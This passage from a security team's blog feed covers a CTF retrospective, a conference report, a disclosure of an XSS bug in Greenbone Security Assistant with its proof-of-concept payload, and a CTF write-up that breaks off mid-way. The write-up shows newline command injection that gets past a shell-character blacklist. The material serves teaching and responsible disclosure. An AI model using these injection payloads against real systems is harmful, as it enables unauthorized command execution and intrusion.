<li>Rev60: File content checks</li>
<li>Rev70: Switch case input checks</li>
<li>Rev80: TapeBagel reversing</li>
<li>Rev90: Rubiks Cube with flag</li>
</ul>


<h3>Crypto</h3>

<ul>
<li>Crypto50: Multiple ciphers chained</li>
<li>Crypto60: RSA key factoring</li>
<li>Crypto70: Hash collisions</li>
<li>Crypto80: Stegano / DTMF</li>
<li>Crypto90: Modify ciphertext</li>
</ul>


<h3>Code</h3>

<ul>
<li>Code50: Solve equations</li>
<li>Code60: Find prime numbers</li>
<li>Code70: Solve encoded equations</li>
<li>Code80: Bruteforce a string</li>
<li>Code90: BST tree operations</li>
</ul>


<h3>Exploit</h3>

<ul>
<li>Exp50: Ruby Regex</li>
<li>Exp60: Integer-Overflow</li>
<li>Exp70: Variable-Overflow</li>
<li>Exp80: Formatstring vulnerability</li>
<li>Exp90: NodeJS &#8216;shell&#8217;</li>
</ul>


<p>You can find all challenges and some configuration files <a href="https://github.com/internetwache/Internetwache-CTF-2016">on our GitHub repository</a>.</p>

<p><em>Easter-Egg: All port numbers were primes ;)</em></p>

<h2>Problems we faced</h2>

<p>We are all humans and we also did some mistakes or faced some problems during the CTF. We think that it is important to talk about these issues:</p>

<h3>Web70</h3>

<p>The intended solution for this task was to use <a href="https://haiderm.com/column-truncation-sql-injection-vulnerability/">a mysql truncation vulnerability</a>. This vulnerability worked way too good and once successfully exploited, allowed other teams to login with <code>admin/admin</code> or similar combinations. This obviously made the challenge way too trivial. We took down web70 for a while and implemented a quick &#8216;n&#8217; dirty fix.</p>

<h3>Web90</h3>

<p>During the creation of the challenge, Sebastian thought of a specific way to solve it. Unfortunately, he forgot to disable/filter the straight forward <code>\write18</code> command, what made this challenge trivial to solve with <code>\immediate\write18{command}</code>. However, we noticed this bug way too late to hot-patch it. We hope that you still learned something new :)
Sebastian is going to write a <a href="https://0day.work">blogpost on 0day.work</a> about the intended solution eventually.</p>

<h3>Rev90</h3>

<p>This was the Rubik&#8217;s Cube challenge. Sebastian did a small mistake while manually scrambling the cube. A corrected version of the README was uploaded during the CTF. Sorry for that! (However, there was another way to solve the challenge without a cube)</p>

<h3>Crypto50</h3>

<p>This seemed to be an easy challenge from our point of view, but turned out to be way too difficulty (too much guessing?) for the participants. We should have made the description more clear.</p>

<h3>Code70</h3>

<p>The time format (<code>TIME:CHAR</code>) was a bit unclear.</p>

<h3>Code90</h3>

<p>The description was a bit unclear about the expected input/output format.</p>

<h3>Duration</h3>

<p>The duration was another thing that we should have chosen a lot shorter. We had the feeling that after around 24 hours there wasn&#8217;t much activity anymore.
Only some teams who wanted to solve the remaining couple of challenges.
There was, however, a peak during the last few hours again. People told us that longer CTFs are good for newcomer teams and <a href="https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown">timezone-daylight-differences</a>, so in the end it wasn&#8217;t a problem at all. The next CTF will definitely be shorter (around 12 hours probably).
Sebastian learned that in order to stay awake for 40 hours straight, two bottles of <a href="http://www.clubmate.de/">Club Mate</a> are enough ;)</p>

<h3>Difficulty</h3>

<p>As this was the first time we hosted a CTF, it was hard for us to estimate the difficulty of the tasks. It turned out that the tasks were a bit too easy. However, as said above this helped newcomers to learn to &#8216;how to CTF&#8217;. We&#8217;ll try harder next time!</p>

<h3>Less hints</h3>

<p>We received the critique that we gave away too many hints via private chats. In retrospect that may be correct, but we tried to keep people motivated by asking them questions like &#8216;Where are you stuck? What did you try? What else do you know? What can you think of?&#8217; and let them figure out the rest. In our opinion that reduces frustration and raises knowledge. But next time we&#8217;ll try to keep the hints more general and public (a separate &#8216;hints&#8217; page is a good idea).</p>

<p>All in all, most of these problems could have been avoided with more thorough testing in the preparation phase.</p>

<h3>Writeable directories</h3>

<p>Some people told us that they solved a challenge by grepping for the flag format on the whole filesystem. That lead to some trivial flags because some files in directories like <code>/tmp/</code> contained them. We fixed this issue during the CTF by using ACLs to remove write-permissions for users of the <code>ctf</code> group to directories like <code>/tmp</code>, <code>/var/tmp</code> and so on.</p>

<h3>Load spikes</h3>

<p>There was one interesting incident. We still don&#8217;t really now what happened, but the load spiked to 2600 and the RAM to 6gb at the same time. It looked like the Cgroups 6gb RAM limit was hit. Interestingly the VM was responsive and a restart of apache resolved the problem.</p>

<p><a rel="fancybox"href="/images/posts/ctf16-load.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/ctf16-load.png" alt="High load usage" title="High load" /></a></p>

<p><a rel="fancybox"href="/images/posts/ctf16-memory.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/ctf16-memory.png" alt="High memory usage" title="High memory" /></a></p>

<h2>What we think we did well</h2>

<p>Okay, let&#8217;s talk about some positive aspects of our CTF. In our humble opinion the uptime and overall stability of the services was good. Except the minor service downtimes due to bugfixes, all services were reachable during the CTF.</p>

<p>Another strong point was the communication. We were available on twitter and IRC throughout the whole CTF. We did not actively observe cheating, flag sharing or other bad behaviour on our IRC channel.</p>

<p>Giving some people an &#8216;ohh&#8217;-effect while solving the challenges. It seems like we allowed newcomers to enjoy and learn about CTFs and the good feeling when you finally solve a challenge.</p>

<p>Some refreshing and/or interesting challenges like exp80 / exp90 / web90 / rev90 / rev80 (Sebastian&#8217;s personal favorites).</p>

<h2>What others think about the CTF</h2>

<p>We used a <a href="https://docs.google.com/forms/d/1FDtd3lLscW4pvwEonh0rKeHiWsGOY5STlo-ElauyE-M/">Google Form</a> to ask for feedback. 80 people were so kind to answer a handful of questions and we would like to share some answers with you.</p>

<p>Some charts:</p>

<p><a rel="fancybox"href="/images/posts/iwctf16-ctf.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-ctf.png" alt="How many CTFs have you participated in?" title="ctf before" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-impression.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-impression.png" alt="What was your overall impression of the CTF?" title="overall impression" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-communication.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-communication.png" alt="How would you rate the communication between the organizers and competitors during the competition?" title="communication between researcher and organizers" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-difficulty.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-difficulty.png" alt="How would you rate the overall difficulty of the challenges?" title="difficulty of tasks" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-chals.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-chals.png" alt="In general, I think the challenges were ..." title="challenges opinion" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-playing.png" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/iwctf16-playing.png" alt="Would you consider playing in Internetwache CTF next year?" title="next year" /></a></p>

<p>General challenge feedback:</p>

<ul>
<li>Challenge and scoreboard availability was good, services seemed to be mostly up and responsive for me, even with so many participants, nice job on that! However, we had some beginners on the team and I think it&#8217;s great to have easy challenges as well so they don&#8217;t get frustrated. They should not constitute the heart of the contest though.</li>
<li>Very good, especially for the 1st CTF you&#8217;ve run!</li>
<li>A bit on the easy side - but that is also fine sometimes. Great quality in presentation, and descriptions.</li>
<li>It seems little bit easy to solve the challenges, but even if that we&#8217;ve learned lots of new stuff from challenges in time.</li>
<li>I liked that the difficulty was not immediately visible. Encouraged me to try all the challenges and not to start with the easy ones.</li>
</ul>


<p>Final words:</p>

<ul>
<li>Extremly well done for the first time hosting a CTF, and one of the most enjoyable CTFs so far this year. Good challenge difficulty for beginning CTF teams. Time limit was okay, bit long maybe, but that leaves the less active teams time to enjoy the challenges</li>
<li>Great IRC moderators! This CTF was well run which is very much appreciated after several badly run CTFs this year.</li>
<li>Good job.Thanks :)</li>
<li>Awesome job guys, looking forward to next year!</li>
<li>I&#8217;d like to point out that your organizing work is clearly above average.</li>
<li>Unlike some CTFs, this has potential to not suck.  It&#8217;s a little rough right now, but I think everyone forgives you for minor mistakes in the beginnings of a major undertaking.</li>
</ul>


<p>We are looking forward to hosting another CTF (presumably) next year!</p>

<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Going to the Security Analyst Summit #TheSAS2016]]></title>
    <link href="https://en.internetwache.org/going-to-the-security-analyst-summit-number-thesas2016-27-02-2016/"/>
    <updated>2016-02-27T02:08:00+01:00</updated>
    <id>https://en.internetwache.org/going-to-the-security-analyst-summit-number-thesas2016</id>
    <content type="html"><![CDATA[<p>Recently <a href="http://twitter.com/TimPhSchaefers">Tim</a> was invited to visit the <a href="http://sas.kaspersky.com/">Security Analyst Summit</a> of Kaspersky Labs (#TheSAS2016) which took place on Tenerife (Canary Islands) in february this year.
In this post he shares his experience and wants to give a short overview of interesting topics (for the security research community).</p>

<p>TL;DR: #TheSAS2016 was a great experience and Tim learned a lot, because every day was filled with adventures or learning and seeing new things! The location was very nice, the atmosphere was amazing, the people were friendly - all in all everything was excellent!</p>

<!-- more -->


<p>First of all, for those who may not have seen <a href="https://twitter.com/search?f=tweets&amp;vertical=default&amp;q=%23TheSAS2016&amp;src=typd">#TheSAS2016</a> in their Twitter-Timeline, media or have no idea what SAS is about:</p>

<p>SAS stands for &#8220;Security Analyst Summit&#8221; and is an invite-only security event organized by <a href="http://sas.kaspersky.com/">Kaspersky</a>.
This year the SAS was on Tenerife (Canary Islands):</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Ready for <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/ClHu3yYzt0">pic.twitter.com/ClHu3yYzt0</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/696097766951493632">6. Februar 2016</a></blockquote>


<script async src="https://en.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>People from the security research community, law enforcement agencies and CERTs meet each other in order to debate and share their ideas how to secure the cyberworld and fight cyber-crime. This year there had been together more than 330 participants. The topics of talks are widely dispersed from cyber-espionage over webhacking, security/safety, malware analysis until ICS Hacking.</p>

<p>This year the keynode was held by John Lambert <a href="https://twitter.com/JohnLaTwC">@JohnLaTwC</a>. He is leading the Threat Intelligence Center of Microsoft and his talk was about &#8220;Changing the Physics of Defense&#8221;. Due to the fact that we at Internetwache.org are often in the position of an attacker and break applications of companies, this talk was really an eye-opener. On the one hand it showed how hard it is to secure systems or applications and on the other hand there were a lot of ideas how to achieve security through new approaches.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Modern defenders vs traditional: think about adversaries not incidents, by <a href="https://twitter.com/JohnLaTwC">@johnlatwc</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/gss5MITuO1">pic.twitter.com/gss5MITuO1</a></p>&mdash; Eugene Kaspersky (@e_kaspersky) <a href="https://twitter.com/e_kaspersky/status/696647491719196673">8. Februar 2016</a></blockquote>


<script async src="https://en.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>John published his slides on <a href="https://onedrive.live.com/redir?resid=F29DB6166A2D81B4!108&amp;authkey=!AJaS6VKY2AeMdDU&amp;ithint=file%2cpdf">Onedrive</a>. We highly recommend you to take a look at it if you want to know how cutting-edge security concepts should look like and how Microsoft improves the security of their software and kills zerodays.</p>

<p>Besides some interesting talks about offensive and defensive security, there were a few revelations about interesting APTs (advanced persistent threats) and criminal tools like the &#8220;Poseidon APT&#8221; and &#8220;Adwind&#8221; and many others.
We will summarize those two and link to interesting resources - for more information you should take a look at the SAS2016 articles on <a href="https://securelist.com/all/?tag=752">securelist.com</a>.</p>

<h3><a href="https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/">Poseidon APT</a></h3>

<p>Researchers of the Kaspersky GREAT Team detected the first Portuguese-speaking targeted attack group which presumably has been operating for a decade. The attackers are quite clever in concealing their traces. They use infrastructure of diffrent companies to attack other companies. The &#8220;Poseidon&#8221;-name comes from the compromise of the satellite communications infrastructure meant for ships on the sea. In some cases they made use of old wri-files (Windows Write Document) to bypass filter restrictions in combination with social engeneering. This group is probably still active. Tim wrote the first german blogpost about that APT on <a href="http://www.golem.de/news/poseidon-gruppe-ueber-ein-jahrzehnt-internationale-cyberattacken-1602-119014.html">golem.de</a></p>

<h3><a href="https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf">Adwind</a></h3>

<p>Malware-as-a-service seems to be a very successful business for cybercriminals. With &#8220;Adwind&#8221; Researchers of Kaspersky revealed a very popular cross-platform RAT (remote administration tool). It is completely developed in Java and thus runs on every platfrom (like Windows, Linux, Mac, etc.). The researchers found out that there is a kind of an online subscription model for the tool. This is the reason for the malware being used in diffrent APTs and spam campaigns.</p>

<p>There were a lot more good talks - for example about:</p>

<ul>
<li><a href="https://www.youtube.com/watch?v=PDg5i11RT6k">hacking hospitals</a> by <a href="https://twitter.com/61ack1ynx">@61ack1ynx</a></li>
<li>Using visualisation for events in order to get more information about security incidents by <a href="https://twitter.com/raffaelmarty">@raffaelmarty</a> from Pixlcloud</li>
<li><a href="https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/">Modern bank robberies</a></li>
</ul>


<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">I&#39;m not going to try to summarize this. Basically look for patterns. <a href="https://twitter.com/raffaelmarty">@raffaelmarty</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/OFCKsqr6zA">pic.twitter.com/OFCKsqr6zA</a></p>&mdash; Chris Eng (@chriseng) <a href="https://twitter.com/chriseng/status/697056267089670146">9. Februar 2016</a></blockquote>


<script async src="https://en.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>The blogpost would not come to an end if Tim had to mention all the awesome talks and good work behind it - sorry about that :)</p>

<p>On the second day, Tim was very interested in the talk from Kymberlee Price <a href="https://twitter.com/Kym_Possible">@Kym_Possible</a> from <a href="https://twitter.com/bugcrowd">@bugcrowd</a> and Katie Moussouris <a href="https://twitter.com/k8em0">@k8em0</a> from <a href="https://twitter.com/Hacker0x01">HackerOne</a>.</p>

<p>Background info, why Tim was so interested in the talks (for those who don&#8217;t know us for a long time):
We (at Internetwache) have been doing bug bounty hunting and responsible disclousure since 2012 - Back then there were not many companies who had such programs (in europe it felt like there was not even one bug bounty program). So we appreciated the rise of companies like Bugcrowd or HackerOne who help with vulnerability disclosure and hope that the idea behind open security processes will expand.
We have been quite active on both platforms from the beginning on: <a href="https://bugcrowd.com/internetwache">@Internetwache on Bugcrowd</a> and <a href="https://hackerone.com/internetwache">@Internetwache on HackerOne</a> . We&#8217;ve been bughunting as a team from the beginning, which isn&#8217;t seen often.</p>

<p>Back2Topic to the #TheSAS2016 talks:</p>

<p>In her talk <a href="https://twitter.com/Kym_Possible">Kymberlee</a> pointed out that not the vulnerability disclosure policy itself is a problem (they are often designed well) but the missing trust between the researchers and companies. We agree on that and think that &#8220;trust&#8221; is essential for every bug bounty program. Researchers have to trust companies, but often companies don&#8217;t blindly trust researchers. We all have to work on that &#8220;trust&#8221; - perhaps there will be a blogpost in the future about that topic.
She used a very fancy slide from David Lenoe to point out that researchers should be handled with care and that the security community should stick together:</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">&quot;No one in the security community is evil &#8230; at least the ones who actually communicate with you.&quot; <a href="https://twitter.com/Kym_Possible">@Kym_Possible</a> of <a href="https://twitter.com/Bugcrowd">@bugcrowd</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a></p>&mdash; Internetwache (@internetwache) <a href="https://twitter.com/internetwache/status/697074457144397825">9. Februar 2016</a></blockquote>


<script async src="https://en.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Katie <a href="https://twitter.com/k8em0">@k8em0</a> also pointed out the importance of hackers in general with the statement &#8220;the world needs hackers&#8221;.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">&quot;The world needs Hackers&quot; <a href="https://twitter.com/k8em0">@k8em0</a> of <a href="https://twitter.com/Hacker0x01">@Hacker0x01</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/svkOkbQ0N7">pic.twitter.com/svkOkbQ0N7</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/697080747132321793">9. Februar 2016</a></blockquote>


<script async src="https://en.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Her talk was about export controls and modern security. For researchers or security companies the problem of traveling with knowledge (like zero-days) often arises. The &#8220;Wassenaar Arrangement&#8221; makes it hard to travel with such information because &#8220;intrusion software technology&#8221; was set on the list of controlled goods - Katie wants that the &#8220;Wassenaar Arrangement&#8221; get changed because exemptions are not enough to ensure that infosec companies and researchers can work as they want to.</p>

<p>The last day of #TheSAS2016 was an entertainment day. We did a safari tour, visited the Teide National Park and the Observatorio del Teide :) and relaxed a bit &#8230; it was awesome to see the landscape and beeing on top of the Teide.</p>

<p><a rel="fancybox"href="/images/posts/thesas16-1.jpg" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/thesas16-1.jpg" alt="Safari Tour" title="Safari Tour" /></a></p>

<p><a rel="fancybox"href="/images/posts/thesas16-2.jpg" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/thesas16-2.jpg" alt="Safari Tour" title="Safari Tour" /></a></p>

<p><a rel="fancybox"href="/images/posts/thesas16-3.jpg" class="fancybox" ><img src="https://en.internetwache.org/images/posts/small/thesas16-3.jpg" alt="Top of Teide" title="Top of Teide" /></a></p>

<p>This blogpost does not cover a few other nice events at #TheSAS2016 like the gala dinner or some nice conversations Tim had on SAS2016 - but that&#8217;s all for today.
If you want to know more about #TheSAS2016 you should take a look at <a href="https://eugene.kaspersky.com/2016/02/16/its-a-tough-job-but-someones-got-to-do-it/">Eugene Kaspersky&#8217;s Blog</a> or his pictures on <a href="https://www.flickr.com/photos/e_kaspersky/sets/72157664549131166">his Flickr</a></p>

<p>All in all: For Tim it was really impressive to meet some of the people you had only seen on Twitter or in the web and hear their ideas about security. There was only one sad thing: Some talks with month or year long research were presented in just 30 minutes - in some cases you really wanted to hear the full story. Nevertheless the event was great! It would be even nicer if more researchers were there - so if you ever get an invite to SAS it should be a no-brainer to make use of the great opportunity!</p>

<p>Hopefully we&#8217;ll meet at  #TheSAS2017 :)</p>

<p>The team of internetwache.org</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">That was <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> - lets move on!<br>Thanks for the great time :) <a href="https://twitter.com/kaspersky">@kaspersky</a> <a href="https://twitter.com/e_kaspersky">@e_kaspersky</a> <a href="https://twitter.com/ryanaraine">@ryanaraine</a> <a href="https://twitter.com/JacobyDavid">@JacobyDavid</a> <a href="https://t.co/P4TvQ7oXUE">pic.twitter.com/P4TvQ7oXUE</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/697763349854085120">11. Februar 2016</a></blockquote>


<script async src="https://en.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>PS: In Tim&#8217;s memories there will always be a &#8220;dick-pic guy&#8221; :) - But Tim will never reveal him. Remember, what happens at #TheSAS stays at #TheSAS!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CVE-2016-1926 - XSS in the Greenbone Security Assistant]]></title>
    <link href="https://en.internetwache.org/cve-2016-1926-xss-in-the-greenbone-security-assistant-20-01-2016/"/>
    <updated>2016-01-20T13:18:00+01:00</updated>
    <id>https://en.internetwache.org/cve-2016-1926-xss-in-the-greenbone-security-assistant</id>
    <content type="html"><![CDATA[<p>Recently Tim has been working with the software framework &#8220;OpenVAS&#8221; (&#8220;Open Vulnerability Assessment System&#8221;). This software is open source so we spent some evenings looking for bugs in the webfrontend, the Greenbone Security Assistant. After some time Sebastian found two bugs and we were able to submit those - they are fixed now.</p>

<!-- more -->


<p>For everybody who does not know what <a href="http://www.openvas.org/about.html">OpenVAS</a> is:
OpenVAS is a software for vulnerability management. You can run penetrationstests against diffrent it-systems with it and assess the results. It is also used in the Greenbone Security Manager and comes with Kali Linux.</p>

<h2>CVE-2016-1926: XSS</h2>

<p>If you take a look at the statistics page the following AJAX-Request is send to the backend:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>https://[DOMAIN.tld]/omp?cmd=get_aggregate&xml=0&aggregate_type=nvt&group_column=severity&filt_id=1337&token=guest</span></code></pre></td></tr></table></div></figure>


<p> The value <code>aggregate_type</code> was not escaped properly -
so it was easy to trigger a XSS in the script context. You can simply set <code>aggregate_type=nvt"-alert(document.domain)-"</code> to get this reply:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>        DataSource ("get_aggregate",
</span><span class='line'>                    {xml:1,
</span><span class='line'>                     aggregate_type:"nvt"-alert(document.domain)-"",
</span><span class='line'>                     group_column:"severity",
</span><span class='line'>                     data_column:"",
</span><span class='line'>                     filter:"",
</span><span class='line'>                     filt_id:"1337"});
</span><span class='line'>
</span><span class='line'>    title_total ("Nvts"-alert(document.domain)-" by severity",
</span><span class='line'>                 "count")
</span><span class='line'>
</span><span class='line'>Chart (gsa.data_sources ["aggregate-source"],
</span><span class='line'>        gsa.generators ["aggregate-generator"],
</span><span class='line'>        gsa.displays ["aggregate-display"],
</span><span class='line'>        "aggregate-chart",
</span><span class='line'>        "Nvt"-alert(document.domain)-" by severity",
</span><span class='line'>        "/img/charts/severity-bar-chart.png",
</span><span class='line'>        1,
</span><span class='line'>        "",
</span><span class='line'>        "");</span></code></pre></td></tr></table></div></figure>


<p>Sadly you need to know the value of the <code>token</code> parameter. But if the guestmode is enabled <a href="https://secinfo.greenbone.net/login/login.html">like i.e. in the demo</a>, it is possible to use: <code>token=guest</code>.</p>

<h2>Another minor bug</h2>

<p>The following bug was also fixed with this update.
We observed the following strange behaviour:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>GET //internetwache.org/? HTTP/1.1
</span><span class='line'>Host: secinfo.greenbone.net
</span><span class='line'>Connection: close</span></code></pre></td></tr></table></div></figure>


<p>lead to</p>

<p><code>&lt;a href="https://en.internetwache.org//internetwache.org/?r=1&amp;amp;=&amp;amp;token=guest"&gt;Login as a guest&lt;/a&gt;</code></p>

<p>All characters of the path in the GET-request reflect to the href-attribute. Unfortunately a browser can not send a <code>GET javascript:alert(1)</code> request (a leading slash is required), so no way to create a XSS. However we can use the relative protocol to set an arbitrary url. Clicking the &#8216;Login as a guest&#8217; link will redirect the victim to the other domain.</p>

<h2>Details:</h2>

<ul>
<li>Product: Greenbone Security Assistant ≥ 6.0.0 and &lt; 6.0.8</li>
<li>Vendor: <a href="http://www.openvas.org/">OpenVAS</a></li>
<li>Risk: Low, CVSS 1.9 (AV:A/AC:M/Au:M/C:P/I:N/A:N)</li>
</ul>


<p>The communication with Greenbone GmbH was always pleasant, transparent and to the point.</p>

<ul>
<li>07.01.2016: XSS discovered and reported to vendor.</li>
<li>08.01.2016, 08:00: Acknowledgement from vendor and info that fix is already in progress.</li>
<li>08.01.2016, 17:30: Fix ready, QA and testing needed</li>
<li>09.01.2016: Update released for Greenbone Security Manager: <a href="http://greenbone.net/technology/gbsa2016-01.html">Advisory GBSA 2016-01</a></li>
<li>13.01.2016: Update released OpenVAS: <a href="http://www.openvas.org/OVSA20160113.html">Advisory OVSA 20160113</a></li>
<li>18.01.2016: CVE-2016-1926 assigned by MITRE</li>
</ul>


<p>The team of internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Insomni'hack Teaser CTF 2016 - Smartcat2 writeup]]></title>
    <link href="https://en.internetwache.org/insomnia-teaser-2016-smartcat2-writeup-18-01-2016/"/>
    <updated>2016-01-18T12:09:00+01:00</updated>
    <id>https://en.internetwache.org/insomnia-teaser-2016-smartcat2-writeup</id>
    <content type="html"><![CDATA[<p>Sebastian joined the ENOFLAG team for the <a href="http://teaser.insomnihack.ch">Insomnihack teaser CTF 2016</a>. In this blogpost he&#8217;ll write about the workaround for the smartcat2 (web50) challenge.</p>

<!-- more -->


<p>I didn&#8217;t solve smartcat1, because when I arrived at our team&#8217;s location, Denis <a href="https://twitter.com/nobbd">@nobbd</a> had already solved it and we continued with smartcat2. After solving the challenge, we were told that we didn&#8217;t use the intended solution of spawning a reverse shell, so we&#8217;ll share our solution with you as it was fun to work around the filter.</p>

<p><strong>Note to myself:</strong> Save the burp instance more often and take notes for better writeups. (I&#8217;m writing this off my mind, so I probably forgot some (important) thoughts/steps)</p>

<h1>Smartcat2</h1>

<p>First of all, a few words about the challenge. It was a website which allowed to enter an IP address for the &#8216;ping&#8217; command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>POST /cgi-bin/index.cgi?c= HTTP/1.1
</span><span class='line'>Host: smartcat.insomnihack.ch
</span><span class='line'>Connection: close
</span><span class='line'>Content-Type: application/x-www-form-urlencoded
</span><span class='line'>Content-Length: 26
</span><span class='line'>
</span><span class='line'>dest=127.0.0.1</span></code></pre></td></tr></table></div></figure>


<p>As we learned in smartcat1, you could execute commands by using newlines (<code>\n</code> aka <code>%0A</code>) as the separator. E.g. <code>dest=127.0.0.1%0Als</code> would execute &#8220;ls&#8221;. However, there was a blacklist of not-allowed characters in place:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>blacklist = " $;&|({`\t"
</span><span class='line'>for badchar in blacklist:
</span><span class='line'>        if badchar in dest:
</span><span class='line'>                results = "Bad character %s in dest" % badchar
</span><span class='line'>                break</span></code></pre></td></tr></table></div></figure>


<p>So, we can&#8217;t really execute commands that require parameters, because spaces are covered by the blacklist. The standard bypass using &#8220;$IFS&#8221; doesn&#8217;t work, too, because &#8220;$&#8221; is on the blacklist. However, we can use <code>&lt;</code> and <code>&gt;</code> as a substitute for the pipe (<code>|</code>) for the majority of standard shell commands.</p>

<p>The first thing I wanted to know was which shell is used. Running &#8220;pstree&#8221; or &#8220;ps&#8221; or a similar command showed a bunch of <code>sh</code> processes. Okay, no bash magic useable :(</p>

<p>After playing around with &#8220;find&#8221; and &#8220;cat&#8221; we found the hint, that the flag is in the directory <code>/home/smartcat</code>. But <code>find</code> runs from the current working directory (<code>/var/www/cgi-bin/</code>) and we can&#8217;t change it, can we?</p>

<h2>Using variables</h2>

<p>We really wanted to do something like <code>cd DIR</code>, but spaces are still on the blacklist. By looking up the manpage of <code>cd</code> we learned the following: <code>If DIRECTORY is supplied, it will become the new directory. If no parameter is given, the contents of the HOME environment variable will be used.</code> Let&#8217;s see if we can change the value of <code>$HOME</code> to <code>/home/smartcat</code>. Setting environment variables in <code>sh</code> is as easy as running <code>VARIABLE=VALUE</code>. So to list the contents of the <code>/home/smartcat</code> directory, we used:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>dest=127.0.0.1%0AHOME=/home/smartcat%0Acd%0Als</span></code></pre></td></tr></table></div></figure>


<p>Okay, cool, we see the contents of <code>/home/smartcat</code> now. We can use this approach to jump into arbitrary directories. However, we can&#8217;t read <code>flag2</code> as we lack read permissions, but we can execute <code>readflag</code>. Running strings on the binary file (<code>%0Astrings&lt;./readflag</code>) revealed the next task:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.Do not include the quotes. Each part is a different line.</span></code></pre></td></tr></table></div></figure>


<h2>Bypassing the blacklist</h2>

<p>As you probably know, blacklists are always bad and almost always bypassable. We needed a place where we could drop our code, so basically a directory with write permissions. It turned out that we had write, but no execute permissions on <code>/tmp</code>. We proved that by running <code>ls&gt;/tmp/x</code> and then <code>cat&lt;/tmp/x</code>.</p>

<p>Okay, cool, so we can write and execute arbitrary files in the <code>/tmp/</code> folder. But how do we fill them with life? I came up with <code>here documents</code> aka the following structure:</p>

